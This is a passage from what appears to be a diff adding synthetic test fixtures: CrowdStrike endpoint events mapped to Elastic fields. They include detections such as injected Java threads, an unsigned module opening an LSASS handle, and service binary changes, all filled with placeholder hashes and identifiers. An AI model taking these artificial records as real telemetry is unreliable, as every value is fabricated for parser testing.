"{\"FileOperatorSid\":\"S-96058-21257-98492\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"1\",\"Size\":\"58518\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"id\":\"162ec74e6e37e7616a81feca0a38cbc4e060\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JarFileWritten\",\"ContextTimeStamp\":\"1762090431.810\",\"ConfigStateHash\":\"90089570\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"SHA256HashData\":\"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"45bc1cac0e68ad976\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\4fad1919.jar\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\7f136004\\03bd69ab", + "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951", + "extension": "jar", + "hash": { + "sha256": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503" + }, + "inode": "f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8", + "name": "4fad1919.jar", + "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar", + "size": 58518, + "type": "file" + }, + "host": { + "id": "e8709208d980534971098b9a6fb8cf05", + "os": { + "type": "windows" + } + }, + "message": "JarFileWritten", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "e8709208d980534971098b9a6fb8cf05", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3097482600003", + "name": "d3571e48e3804d61a8d8f51", + "thread": { + "id": 60020000009454 + } + }, + "related": { + "hash": [ + "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503", + "90089570" + ], + "ip": [ + "216.160.83.56" + ], + "user": [ + "S-96058-21257-98492" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-96058-21257-98492" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "9006720370", + "ConfigStateHash": "3440491101", + "ContextBaseFileName": "939905f021b64c", + "ContextProcessId": "568260708421", + "ContextTimeStamp": "2025-06-20T15:55:17.905Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "1", + "FileCategory": "6", + "FileEcpBitmask": "0", + "FileObject": "0", + "FileOperatorSid": "S-93967-95057-39657-2269-87803-54839-16636", + "FileWrittenFlags": "0", + "IrpFlags": "0", + "IsOnNetwork": "0", + "IsOnRemovableDisk": "0", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f1d9633f3c4c1752450748ee02e070b772d4", + "name": "f5ccfb1a5e748e3a1361b9" + }, + "device": { + "id": "2a5a4e5c2a642c985c06f8a712f54c03" + }, + "event": { + "action": "creation", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f1d9633f3c4c1752450748ee02e070b772d4|2a5a4e5c2a642c985c06f8a712f54c03|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"FileOperatorSid\":\"S-93967-95057-39657-2269-87803-54839-16636\",\"ContextBaseFileName\":\"939905f021b64c\",\"FileCategory\":\"6\",\"Size\":\"5007\",\"MinorFunction\":\"0\",\"ContextThreadId\":\"67010543097020\",\"aip\":\"81.2.69.192\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f9187305c797616a091da12f20ae9d2efa91b48088627f5e\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"f1d9633f3c4c1752450748ee02e070b772d4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1750434917.905\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"568260708421\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"9006720370\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"f5ccfb1a5e748e3a1361b9\",\"OperationFlags\":\"0\",\"aid\":\"2a5a4e5c2a642c985c06f8a712f54c03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\77d9dc83\\\\6f9505f\\\\d6c5e3b\\\\d199e12\\\\bba61ca6\\\\2d931c68.class\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "device": "835\\b9e65ff8\\fb6901a4", + "directory": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6", + "extension": "class", + "inode": "f9187305c797616a091da12f20ae9d2efa91b48088627f5e", + "name": "2d931c68.class", + "path": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class", + "size": 5007, + "type": "file" + }, + "host": { + "id": "2a5a4e5c2a642c985c06f8a712f54c03", + "os": { + "type": "windows" + } + }, + "message": "JavaClassFileWritten", + "observer": { + "address": [ + "81.2.69.192" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.192" + ], + "serial_number": "2a5a4e5c2a642c985c06f8a712f54c03", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "568260708421", + "name": "939905f021b64c", + "thread": { + "id": 67010543097020 + } + }, + "related": { + "hash": [ + "3440491101" + ], + "ip": [ + "81.2.69.192" + ], + "user": [ + "S-93967-95057-39657-2269-87803-54839-16636" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "S-93967-95057-39657-2269-87803-54839-16636" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "1080600092", + "ContextProcessId": "210000852854060", + "ContextTimeStamp": "2025-06-23T20:59:30.441Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "36", + "EventOrigin": "1", + "InjectedThreadFlag": "940", + "RawThreadId": "50455", + "SourceThreadStartAddress": "270106100035044", + "TargetThreadId": "8976303018009002", + "ThreadStartAddress": "7506925004555", + "ThreadStartBytes": "9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de", + "ThreadStartContext": "7031100880000", + "UserThread": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "5c016fbc5910db79ac911556c19d9efb88c6", + "name": "cad7121649b58818d895" + }, + "device": { + "id": "2278e50b41a263c2d8421b5135a380a7" + }, + "event": { + "action": "JavaInjectedThread", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "5c016fbc5910db79ac911556c19d9efb88c6|2278e50b41a263c2d8421b5135a380a7|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ThreadStartAddress\":\"7506925004555\",\"InjectedThreadFlag\":\"940\",\"ContextThreadId\":\"7029002010518039\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"5c016fbc5910db79ac911556c19d9efb88c6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaInjectedThread\",\"TargetThreadId\":\"8976303018009002\",\"RawProcessId\":\"60037\",\"ThreadStartBytes\":\"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de\",\"ContextTimeStamp\":\"1750712370.441\",\"ConfigStateHash\":\"1080600092\",\"ContextProcessId\":\"210000852854060\",\"ThreadStartContext\":\"7031100880000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"800000030087834\",\"Entitlements\":\"36\",\"name\":\"cad7121649b58818d895\",\"RawThreadId\":\"50455\",\"aid\":\"2278e50b41a263c2d8421b5135a380a7\",\"SourceThreadStartAddress\":\"270106100035044\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "2278e50b41a263c2d8421b5135a380a7", + "os": { + "type": "windows" + } + }, + "message": "JavaInjectedThread", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "2278e50b41a263c2d8421b5135a380a7", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "800000030087834", + "pid": 60037, + "thread": { + "id": 7029002010518039 + } + }, + "related": { + "hash": [ + "1080600092" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AccessType": "4", + "AddressFamily": "0", + "AdminStatus": "2", + "BaseReachableTime": "0", + "ConfigStateHash": "9968901000", + "ConnectionType": "1", + "DadState": "0", + "DadTransmits": "0", + "DirectionType": "0", + "EffectiveTransmissionClass": "2", + "Entitlements": "86", + "EventOrigin": "1", + "IfType": "0", + "InBroadcastOctets": "0", + "InDiscards": "0", + "InErrors": "0", + "InMulticastOctets": "0", + "InNUcastPkts": "0", + "InOctets": "0", + "InUcastOctets": "0", + "InUcastPkts": "0", + "InUnknownProtos": "0", + "InterfaceAlias": "937aad95bcccd8cfa1a93b7bb9c5a2ead", + "InterfaceDescription": "f59e6603c99b77bc826e67f3133aa91ba4", + "InterfaceFlags": "0", + "InterfaceIdentifier": "0", + "InterfaceIndex": 0, + "InterfaceMtu": "9560", + "InterfaceType": "0", + "IpEntryFlags": "0", + "LinkLocalAddressBehavior": "0", + "LinkLocalAddressTimeout": "0", + "LocalAddressIP6": [ + "2a02:cf40::1" + ], + "LocalIpAddressPipelineSource": "6", + "MaxReassemblySize": "0", + "MaxRouterAdvertisementInterval": "0", + "MediaConnectState": "0", + "MediaType": "46", + "Metric": "0", + "MinRouterAdvertisementInterval": "0", + "NetLuidIndex": 0, + "NetworkGuid": "76f651e25d18ba610cf7770da4e745f9886b", + "NetworkInterfaceGuid": "c5b6c77ed6710604982c8df8956c7d308373", + "NlMtu": "0", + "OnLinkPrefixLength": "0", + "OperStatus": "2", + "OutBroadcastOctets": "0", + "OutDiscards": "0", + "OutErrors": "0", + "OutMulticastOctets": "0", + "OutNUcastPkts": "0", + "OutOctets": "0", + "OutUcastOctets": "0", + "OutUcastPkts": "0", + "PathMtuDiscoveryTimeout": "0", + "PermanentPhysicalAddress": "84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60", + "PhysicalAddressLength": 72, + "PhysicalMediumType": "0", + "PreferredLifetime": "0", + "PrefixLength": "0", + "PrefixOrigin": "0", + "ReachableTime": "0", + "ReceiveLinkSpeed": "300785", + "RetransmitTime": "0", + "RouteAge": "0", + "RouteMetric": "0", + "RouteOrigin": "0", + "RouterDiscoveryBehavior": "0", + "ScopeLevel": "0", + "ScopeZone": "0", + "SitePrefixLength": "0", + "SkipAsSource": "0", + "SuffixOrigin": "0", + "TransmitLinkSpeed": "300785", + "TunnelType": "0", + "ValidLifetime": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4", + "name": "a01d5ce18dcbf077bc4" + }, + "device": { + "id": "8b33228d110f333bb96bb91288f6d8ad" + }, + "event": { + "action": "LocalIpAddressIP6", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": "{\"ValidLifetime\":\"0\",\"OutOctets\":\"0\",\"MaxReassemblySize\":\"0\",\"MediaConnectState\":\"0\",\"InterfaceMtu\":\"9560\",\"NlMtu\":\"0\",\"NetworkGuid\":\"76f651e25d18ba610cf7770da4e745f9886b\",\"InterfaceAlias\":\"937aad95bcccd8cfa1a93b7bb9c5a2ead\",\"InDiscards\":\"0\",\"InBroadcastOctets\":\"0\",\"InterfaceIndex\":\"0\",\"InterfaceFlags\":\"0\",\"PermanentPhysicalAddress\":\"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60\",\"DadState\":\"0\",\"InterfaceType\":\"0\",\"MinRouterAdvertisementInterval\":\"0\",\"EventOrigin\":\"1\",\"MediaType\":\"46\",\"id\":\"b1ba5664a59d4ed815268b354ba0a8ca20f4\",\"AddressFamily\":\"0\",\"LocalIpAddressPipelineSource\":\"6\",\"ReceiveLinkSpeed\":\"300785\",\"AccessType\":\"4\",\"event_simpleName\":\"LocalIpAddressIP6\",\"PathMtuDiscoveryTimeout\":\"0\",\"OutDiscards\":\"0\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"IpEntryFlags\":\"0\",\"PreferredLifetime\":\"0\",\"ConnectionType\":\"1\",\"DadTransmits\":\"0\",\"OperStatus\":\"2\",\"PhysicalAddress\":\"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46\",\"RouteOrigin\":\"0\",\"InUnknownProtos\":\"0\",\"OutErrors\":\"0\",\"DirectionType\":\"0\",\"InOctets\":\"0\",\"Entitlements\":\"86\",\"name\":\"a01d5ce18dcbf077bc4\",\"RouteAge\":\"0\",\"InUcastOctets\":\"0\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"IfType\":\"0\",\"OutUcastOctets\":\"0\",\"RetransmitTime\":\"0\",\"SuffixOrigin\":\"0\",\"InMulticastOctets\":\"0\",\"OutBroadcastOctets\":\"0\",\"CreationTimeStamp\":\"\",\"LinkLocalAddressBehavior\":\"0\",\"aip\":\"89.160.20.112\",\"BaseReachableTime\":\"0\",\"InErrors\":\"0\",\"RouterDiscoveryBehavior\":\"0\",\"LinkLocalAddressTimeout\":\"0\",\"RouteMetric\":\"0\",\"event_platform\":\"Win\",\"SitePrefixLength\":\"0\",\"TransmitLinkSpeed\":\"300785\",\"PhysicalAddressLength\":\"72\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"PrefixOrigin\":\"0\",\"timestamp\":\"1743508799999\",\"SkipAsSource\":\"0\",\"AdminStatus\":\"2\",\"OnLinkPrefixLength\":\"0\",\"TunnelType\":\"0\",\"ConfigStateHash\":\"9968901000\",\"InterfaceDescription\":\"f59e6603c99b77bc826e67f3133aa91ba4\",\"InterfaceIdentifier\":\"0\",\"ScopeLevel\":\"0\",\"PrefixLength\":\"0\",\"OutUcastPkts\":\"0\",\"NetworkInterfaceGuid\":\"c5b6c77ed6710604982c8df8956c7d308373\",\"ScopeZone\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PhysicalMediumType\":\"0\",\"NetLuidIndex\":\"0\",\"InNUcastPkts\":\"0\",\"MaxRouterAdvertisementInterval\":\"0\",\"Metric\":\"0\",\"ReachableTime\":\"0\",\"OutMulticastOctets\":\"0\",\"OutNUcastPkts\":\"0\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "8b33228d110f333bb96bb91288f6d8ad", + "os": { + "type": "windows" + } + }, + "message": "LocalIpAddressIP6", + "observer": { + "address": [ + "89.160.20.112" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.112" + ], + "serial_number": "8b33228d110f333bb96bb91288f6d8ad", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "9968901000" + ], + "ip": [ + "89.160.20.112", + "2a02:cf40::1" + ] + }, + "source": { + "address": "2a02:cf40::1", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::1", + "mac": "99-24-19-28-16-80-11-F3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "9968901000", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "InterfaceIndex": 0, + "LocalAddressIP6": [ + "2a02:cf40::2" + ], + "LocalIpAddressPipelineSource": "6", + "NetLuidIndex": 0, + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "46389a39e57e9b858db2074d5f94ec7a526d", + "name": "872932933dab2f183b4ce071bd" + }, + "device": { + "id": "8b33228d110f333bb96bb91288f6d8ad" + }, + "event": { + "action": "LocalIpAddressRemovedIP6", + "category": [ + "configuration", + "host" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "46389a39e57e9b858db2074d5f94ec7a526d|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577", + "kind": "state", + "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"89.160.20.128\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"872932933dab2f183b4ce071bd\",\"EventOrigin\":\"1\",\"id\":\"46389a39e57e9b858db2074d5f94ec7a526d\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "8b33228d110f333bb96bb91288f6d8ad", + "os": { + "type": "windows" + } + }, + "message": "LocalIpAddressRemovedIP6", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "8b33228d110f333bb96bb91288f6d8ad", + "version": "2c8b.4.ae3729d.e6" + }, + "related": { + "hash": [ + "9968901000" + ], + "ip": [ + "89.160.20.128", + "2a02:cf40::2" + ] + }, + "source": { + "address": "2a02:cf40::2", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40::2" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "3440491101", + "ContextProcessId": "617055030004", + "ContextTimeStamp": "2025-07-13T19:07:50.075Z", + "DesiredAccess": "2336", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "ExtendedKeyUsages": "1", + "FileSigningTime": "1696360530.000", + "HandleCreated": "0", + "Object1Type": "85300006300503060726", + "PublicKeys": "0", + "SHA256HashData": "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243", + "SignInfoFlags": "932000", + "Status": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "6fa27f66ec6a05ff162d3ee4962108a1518e", + "name": "a94954f7ef7b687d2b265ac33c34fe0" + }, + "device": { + "id": "84bd7271911c13b227952666802a3e71" + }, + "event": { + "action": "LsassHandleFromUnsignedModule", + "category": [ + "process" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "6fa27f66ec6a05ff162d3ee4962108a1518e|84bd7271911c13b227952666802a3e71|4092825518eaf67377a6e4492ae44577", + "kind": "alert", + "original": "{\"ContextThreadId\":\"53282469092040\",\"aip\":\"81.2.69.142\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"6fa27f66ec6a05ff162d3ee4962108a1518e\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"LsassHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1752433670.075\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"617055030004\",\"SHA256HashData\":\"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1696360530.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"330096244003\",\"DesiredAccess\":\"2336\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\9134161b\\\\4b9430\\\\6cf901c9\\\\d89a3e44.exe\",\"Entitlements\":\"66\",\"name\":\"a94954f7ef7b687d2b265ac33c34fe0\",\"aid\":\"84bd7271911c13b227952666802a3e71\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"85300006300503060726\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}", + "outcome": "unknown", + "type": [ + "change" + ] + }, + "host": { + "id": "84bd7271911c13b227952666802a3e71", + "os": { + "type": "windows" + } + }, + "message": "LsassHandleFromUnsignedModule", + "observer": { + "address": [ + "81.2.69.142" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.142" + ], + "serial_number": "84bd7271911c13b227952666802a3e71", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "330096244003", + "executable": "\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe", + "name": "d89a3e44.exe", + "thread": { + "id": 53282469092040 + } + }, + "related": { + "hash": [ + "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243", + "3440491101" + ], + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "8200073020", + "ContextProcessId": "603000080603277383", + "ContextTimeStamp": "2025-09-18T04:54:08.217Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "16", + "EventOrigin": "1", + "ServiceDescription": "4329d830\\4a6a0a4b\\4b8e4186.dll,-101", + "ServiceErrorControl": "1", + "ServiceFailureActions": "370906160706958900210000200600006090810303901200700052903087003011111111", + "ServiceImagePath": "6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5", + "ServiceSecurity": "1c31d/23092a59", + "ServiceStart": "3", + "ServiceType": "840", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f65e6994cc640f2778a1b7af2c40ba921473", + "name": "381f30fed8ec4c276ba29" + }, + "device": { + "id": "c82cce517ab3200fde3ca362e648c993" + }, + "event": { + "action": "ModifyServiceBinary", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f65e6994cc640f2778a1b7af2c40ba921473|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"ModifyServiceBinary\",\"ContextTimeStamp\":\"1758171248.217\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"603000080603277383\",\"ServiceDescription\":\"4329d830\\\\4a6a0a4b\\\\4b8e4186.dll,-101\",\"ContextThreadId\":\"108300250532070103\",\"aip\":\"216.160.83.56\",\"ServiceSecurity\":\"1c31d/23092a59\",\"ServiceImagePath\":\"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5\",\"ServiceDisplayName\":\"7a476391b5908bfed8e3c37\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ServiceStart\":\"3\",\"ServiceType\":\"840\",\"Entitlements\":\"16\",\"name\":\"381f30fed8ec4c276ba29\",\"EventOrigin\":\"1\",\"ServiceFailureActions\":\"370906160706958900210000200600006090810303901200700052903087003011111111\",\"id\":\"f65e6994cc640f2778a1b7af2c40ba921473\",\"ServiceErrorControl\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "unknown", + "type": [ + "change" + ] + }, + "host": { + "id": "c82cce517ab3200fde3ca362e648c993", + "os": { + "type": "windows" + } + }, + "message": "ModifyServiceBinary", + "observer": { + "address": [ + "216.160.83.56" + ], + "geo": { + "city_name": "Milton", + "continent_name": "North America", + "country_iso_code": "US", + "country_name": "United States", + "location": { + "lat": 47.2513, + "lon": -122.3149 + }, + "region_iso_code": "US-WA", + "region_name": "Washington" + }, + "ip": [ + "216.160.83.56" + ], + "serial_number": "c82cce517ab3200fde3ca362e648c993", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "603000080603277383", + "thread": { + "id": 108300250532070103 + }, + "title": "7a476391b5908bfed8e3c37" + }, + "related": { + "hash": [ + "8200073020" + ], + "ip": [ + "216.160.83.56" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "830", + "ConfigStateHash": "8602068629", + "ContextProcessId": "409640218507", + "ContextTimeStamp": "2025-08-25T08:34:59.866Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "26", + "EventOrigin": "1", + "InterfaceGuid": "6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c", + "InterfaceVersion": "230092", + "RpcClientProcessId": "400050400700", + "RpcNestingLevel": "0", + "RpcOpNum": "45", + "ShareName": "cb8652cba4df7f900", + "ShareSecurity": "1c31d/825bda18", + "ShareSecuritySddl": "1c31d/aeb465b9", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "c805aeef64230eaf7cd53c8a881aa4e8405a", + "name": "e6b491ccab8fa73b85131f75" + }, + "device": { + "id": "3daf1fabea580837c4adcda08036d084" + }, + "event": { + "action": "NetShareSecurityModify", + "category": [ + "configuration" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "c805aeef64230eaf7cd53c8a881aa4e8405a|3daf1fabea580837c4adcda08036d084|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextThreadId\":\"28260411703000\",\"aip\":\"216.160.83.56\",\"ShareName\":\"cb8652cba4df7f900\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c\",\"RpcClientProcessId\":\"400050400700\",\"id\":\"c805aeef64230eaf7cd53c8a881aa4e8405a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetShareSecurityModify\",\"ContextTimeStamp\":\"1756110899.866\",\"UserName\":\"5f112a78ce366\",\"ConfigStateHash\":\"8602068629\",\"ContextProcessId\":\"409640218507\",\"InterfaceVersion\":\"230092\",\"AuthenticationId\":\"830\",\"ShareSecurity\":\"1c31d/825bda18\",\"ConfigBuild\":\"2c8b.4.a5bcbac.e6\",\"RpcOpNum\":\"45\",\"Entitlements\":\"26\",\"name\":\"e6b491ccab8fa73b85131f75\",\"aid\":\"3daf1fabea580837c4adcda08036d084\",\"ShareSecuritySddl\":\"1c31d/aeb465b9\",\"Rp